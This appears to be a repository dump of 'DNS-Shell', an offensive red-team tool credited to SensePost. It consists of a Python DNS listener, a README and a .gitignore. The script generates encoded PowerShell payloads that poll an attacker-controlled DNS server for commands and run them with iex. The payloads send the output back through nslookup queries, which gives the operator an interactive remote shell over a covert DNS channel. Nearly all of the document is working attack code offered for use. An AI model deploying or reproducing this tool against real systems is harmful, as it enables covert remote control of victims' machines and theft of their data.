├── .gitignore ├── DNS-shell.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /DNS-shell.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import time 3 | import traceback 4 | import base64 5 | import re 6 | import sys 7 | import binascii 8 | import threading 9 | import SocketServer 10 | import requests 11 | from dnslib import * 12 | 13 | 14 | def powershell_encode(data): 15 | # blank command will store our fixed unicode variable 16 | blank_command = "" 17 | powershell_command = "" 18 | # Remove weird chars that could have been added by ISE 19 | n = re.compile(u'(\xef|\xbb|\xbf)') 20 | # loop through each character and insert null byte 21 | for char in (n.sub("", data)): 22 | # insert the nullbyte 23 | blank_command += char + "\x00" 24 | # assign powershell command as the new one 25 | powershell_command = blank_command 26 | # base64 encode the powershell command 27 | powershell_command = base64.b64encode(powershell_command) 28 | return powershell_command 29 | 30 | 31 | def prepare_recursive(domain): 32 | st2 = """ 33 | $url = "%s"; 34 | function execDNS($cmd) { 35 | $c = iex $cmd 2>&1 | Out-String; 36 | $u = [system.Text.Encoding]::UTF8.GetBytes($c); 37 | $string = [System.BitConverter]::ToString($u); 38 | $string = $string -replace '-',''; 39 | $len = $string.Length; 40 | $split = 50; 41 | $repeat=[Math]::Floor($len/$split); 42 | $remainder=$len%%$split; 43 | if($remainder){ $repeatr = $repeat+1}; 44 | $rnd = Get-Random;$ur = $rnd.toString()+".CMDC"+$repeatr.ToString()+"."+$url; 45 | $q = nslookup -querytype=A $ur; 46 | for($i=0;$i-lt$repeat;$i++){ 47 | $str = $string.Substring($i*$Split,$Split); 48 | $rnd = Get-Random;$ur1 = $rnd.toString()+".CMD"+$i.ToString()+"."+$str+"."+$url; 49 | $q = nslookup -querytype=A $ur1; 50 | }; 51 | if($remainder){ 52 | $str = $string.Substring($len-$remainder); 53 | $i = $i +1 54 | $rnd = Get-Random;$ur2 = $rnd.toString()+".CMD"+$i.ToString()+"."+$str+"."+$url; 55 | $q = nslookup -querytype=A $ur2; 56 | }; 57 | $rnd=Get-Random;$s=$rnd.ToString()+".END."+$url;$q = nslookup -querytype=A $s; 58 | }; 59 | while (1){ 60 | $c = Get-Random; 61 | Start-Sleep -s 3 62 | $u=$c.ToString()+"."+$url;$txt = nslookup -querytype=TXT $u | Out-String 63 | $txt = $txt.split("`n") | %%{$_.split('"')[1]} | Out-String 64 | if ($txt -match 'NoCMD'){continue} 65 | elseif ($txt -match 'exit'){Exit} 66 | else{execDNS($txt)} 67 | } 68 | """ % (domain,) 69 | return powershell_encode(st2) 70 | 71 | def prepare_direct(ip): 72 | st2 = """ 73 | $ip = "%s" 74 | function execDNS($cmd) { 75 | $c = iex $cmd 2>&1 | Out-String; 76 | $u = [system.Text.Encoding]::UTF8.GetBytes($c); 77 | $string = [System.BitConverter]::ToString($u); 78 | $string = $string -replace '-',''; 79 | $len = $string.Length; 80 | $split = 50; 81 | $repeat=[Math]::Floor($len/$split); 82 | $remainder=$len%%$split; 83 | if($remainder){ $repeatr = $repeat+1}; 84 | $rnd = Get-Random;$ur = $rnd.ToString()+".CMDC"+$repeatr.ToString()+"."+$url; 85 | $q = nslookup -querytype=A $ur $ip; 86 | for($i=0;$i-lt$repeat;$i++){ 87 | $str = $string.Substring($i*$Split,$Split); 88 | $rnd = Get-Random;$ur1 = $rnd.ToString()+".CMD"+$i.ToString()+"."+$str+"."+$url; 89 | $q = nslookup -querytype=A $ur1 $ip; 90 | }; 91 | if($remainder){ 92 | $str = $string.Substring($len-$remainder); 93 | $i = $i +1 94 | $rnd = Get-Random;$ur2 = $rnd.ToString()+".CMD"+$i.ToString()+"."+$str+"."+$url; 95 | $q = nslookup -querytype=A $ur2 $ip; 96 | }; 97 | $rnd = Get-Random;$s=$rnd.ToString()+".END."+$url;$q = nslookup -querytype=A $s $ip; 98 | }; 99 | while (1){ 100 | Start-Sleep -s 3 101 | $rnd = Get-Random;$u = $rnd.ToString()+"."+$url 102 | $txt = nslookup -querytype=TXT $u $ip | Out-String 103 | $txt = $txt.split("`n") | %%{$_.split('"')[1]} | Out-String 104 | if ($txt -match 'NoCMD'){continue} 105 | elseif ($txt -match 'exit'){Exit} 106 | else{execDNS($txt)} 107 | } 108 | """ % (ip,) 109 | return powershell_encode(st2) 110 | 111 | 112 | def parse_output(req): 113 | global cmd 114 | cmd = 'NoCMD' 115 | request = req 116 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 117 | rdata = A('127.0.0.1') 118 | TTL = 60 * 5 119 | rqt = rdata.__class__.__name__ 120 | cmds.append([request.q.qname.label[1],request.q.qname.label[3]]) 121 | if request.q.qname.label[2] == 'sqsp' and request.q.qname.label[1] != 'END' and 'LENGTH' not in cmds: 122 | cmds.append('LENGTH') 123 | rcvtime = time.time() 124 | expected = int(request.q.qname.label[1][4:]) 125 | print "[+] Expecting %s Chunks." % request.q.qname.label[1][4:] 126 | if request.q.qname.label[2] != 'sqsp': 127 | if request.q.qname.label[1] not in cmds: 128 | cmds.append(request.q.qname.label[1]) 129 | c = request.q.qname.label[2] 130 | cm = c.decode('hex') 131 | cr.append(cm) 132 | sys.stdout.write("\r[+] Chunks Recieved: %d" % len(cr)) 133 | sys.stdout.flush() 134 | if request.q.qname.label[1] == 'END': 135 | cmds.append('END') 136 | reply.add_answer(RR(rname=request.q.qname, rtype=1, rclass=1, ttl=TTL, rdata=rdata)) 137 | return reply.pack() 138 | 139 | def parse_newCMD(request): 140 | global cmd 141 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 142 | TTL = 60 * 5 143 | rdata = TXT(cmd) 144 | cmd = 'NoCMD' 145 | rqt = rdata.__class__.__name__ 146 | reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.TXT, rclass=1, ttl=TTL, rdata=rdata)) 147 | return reply.pack() 148 | 149 | 150 | def dns_response(data): 151 | request = DNSRecord.parse(data) 152 | qname = request.q.qname 153 | qn = str(qname) 154 | qtype = request.q.qtype 155 | qt = QTYPE[qtype] 156 | if qt == 'A': 157 | reply = parse_output(request) 158 | elif qt == 'TXT': 159 | reply = parse_newCMD(request) 160 | return reply 161 | 162 | class BaseRequestHandler(SocketServer.BaseRequestHandler): 163 | 164 | def get_data(self): 165 | raise NotImplementedError 166 | 167 | def send_data(self, data): 168 | raise NotImplementedError 169 | 170 | def handle(self): 171 | try: 172 | data = self.get_data() 173 | self.send_data(dns_response(data)) 174 | except Exception: 175 | pass 176 | 177 | class UDPRequestHandler(BaseRequestHandler): 178 | 179 | def get_data(self): 180 | global newConn,recvConn,client_ip 181 | if newConn: 182 | newConn = 0 183 | recvConn = 1 184 | client_ip = self.client_address 185 | print "[+] Recieved Connection from %s" % client_ip[0] 186 | return self.request[0].strip() 187 | 188 | def send_data(self, data): 189 | return self.request[1].sendto(data, self.client_address) 190 | 191 | def main(penc, WebRequestFile=None,single=None): 192 | global cmd,cmds,cr,rcvtime,newCommand,recvConn,client_ip 193 | UDP_PORT = 53 194 | s = SocketServer.ThreadingUDPServer(('',UDP_PORT),UDPRequestHandler) 195 | thread = threading.Thread(target=s.serve_forever) 196 | thread.daemon = True # exit the server thread when the main thread terminates 197 | try: 198 | thread.start() 199 | if WebRequestFile: 200 | thread2 = threading.Thread(target=send_reqT, args=(penc,)) 201 | thread2.daemon = True 202 | thread2.start() 203 | else: 204 | print "[+] Generated Payload:\n%s" % penc 205 | while thread.isAlive(): 206 | time.sleep(1) 207 | sys.stdout.flush() 208 | sys.stderr.flush() 209 | if recvConn: 210 | if len(cmds) >= 1 and cmds[-1] == 'END' or newCommand: 211 | newCommand = 0 212 | print "\n\n%s" % ''.join(cr) 213 | print "[+] Command Completed Successfully." 214 | cmds = [] 215 | cr = [] 216 | if single: 217 | s.shutdown() 218 | sys.exit() 219 | else: 220 | cmd = raw_input('SensePost-DNS-Shell::$ ') 221 | if cmd == 'exit': 222 | time.sleep(5) 223 | s.shutdown() 224 | sys.exit() 225 | except KeyboardInterrupt: 226 | print "%s" % ''.join(cr) 227 | cmd = 'exit' 228 | time.sleep(5) 229 | #print("[+] 1st packet: %s seconds" % (time.time()-rcvtime)) 230 | s.shutdown() 231 | sys.exit() 232 | except: 233 | raise 234 | 235 | 236 | if __name__=='__main__': 237 | logo = ''' 238 | ________ _______ _________ _________.__ .__ .__ 239 | \______ \ \ \ / _____/ / _____/| |__ ____ | | | | 240 | | | \ / | \ \_____ \ ______ \_____ \ | | \_/ __ \| | | | 241 | | ` \/ | \/ \ /_____/ / \| Y \ ___/| |_| |__ 242 | /_______ /\____|__ /_______ / /_______ /|___| /\___ >____/____/ 243 | \/ \/ \/ \/ \/ \/ 244 | 245 | by research (at) SensePost 246 | ''' 247 | cmds = [] 248 | cr = [] 249 | rcvtime = 0.0 250 | cmd = 'NoCMD' 251 | newCommand = 1 252 | recvConn = 0 253 | newConn = 1 254 | client_ip = None 255 | parser = argparse.ArgumentParser( 256 | description = ''' 257 | A Sort of DNS-SHell. 258 | %s 259 | ''' % logo, 260 | formatter_class=argparse.RawTextHelpFormatter, 261 | epilog = ''' 262 | Examples: 263 | 264 | # Generate base64 encoded PowerShell payload, run in listener direct queries mode and wait for interactive shell. 265 | sudo python DNS-Shell.py -l -d [Server IP] 266 | 267 | # Generate base64 encoded PowerShell payload, and run in listener recursive queries mode and wait for interactive shell. 268 | sudo python DNS-Shell.py -l -r [Domain]''') 269 | parser.add_argument('-l','--listen',help='Activate listener mode.',action='store_true') 270 | parser.add_argument('-r','--recursive',help='Recursive DNS query requests.') 271 | parser.add_argument('-d','--direct',help='Direct DNS queries mode.') 272 | p = parser.parse_args() 273 | print logo 274 | # listener direct mode 275 | if p.listen and p.direct: 276 | print '[+} Listen direct queries mode active.' 277 | listen = p.listen 278 | ip = p.direct 279 | penc = prepare_direct(ip) 280 | main(penc) 281 | # listener recursive mode 282 | elif p.listen and p.recursive: 283 | print '[+] Listener recursive queries mode active.' 284 | listen = p.listen 285 | domain = p.recursive 286 | penc = prepare_recursive(domain) 287 | main(penc) 288 | else: 289 | parser.print_help() 290 | 291 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

DNS-shell

2 | 3 | 4 |

DNS-Shell is an interactive Shell over DNS channel. The server is Python based and can run on any operating system that has python installed, the payload is an encoded PowerShell command.

5 | 6 | 7 | 8 | 9 |

Understanding DNS-Shell

10 |

The Payload is generated when the sever script is invoked and it simply utilizes nslookup to perform the queries and query the server for new commands the server then listens on port 53 for incoming communications, once payload is executed on the target machine the server will spawn an interactive shell.

11 |

Once the channel is established the payload will continously query the server for commands if a new command is entered, it will execute it and return the result back to the server.

12 | 13 | 14 |

Using DNS-Shell

15 |

Running DNS-Shell is relatively simple

16 |

DNS-Shell supports two mode of operations direct and recursive modes: 17 |

22 |

23 | 24 | --------------------------------------------------------------------------------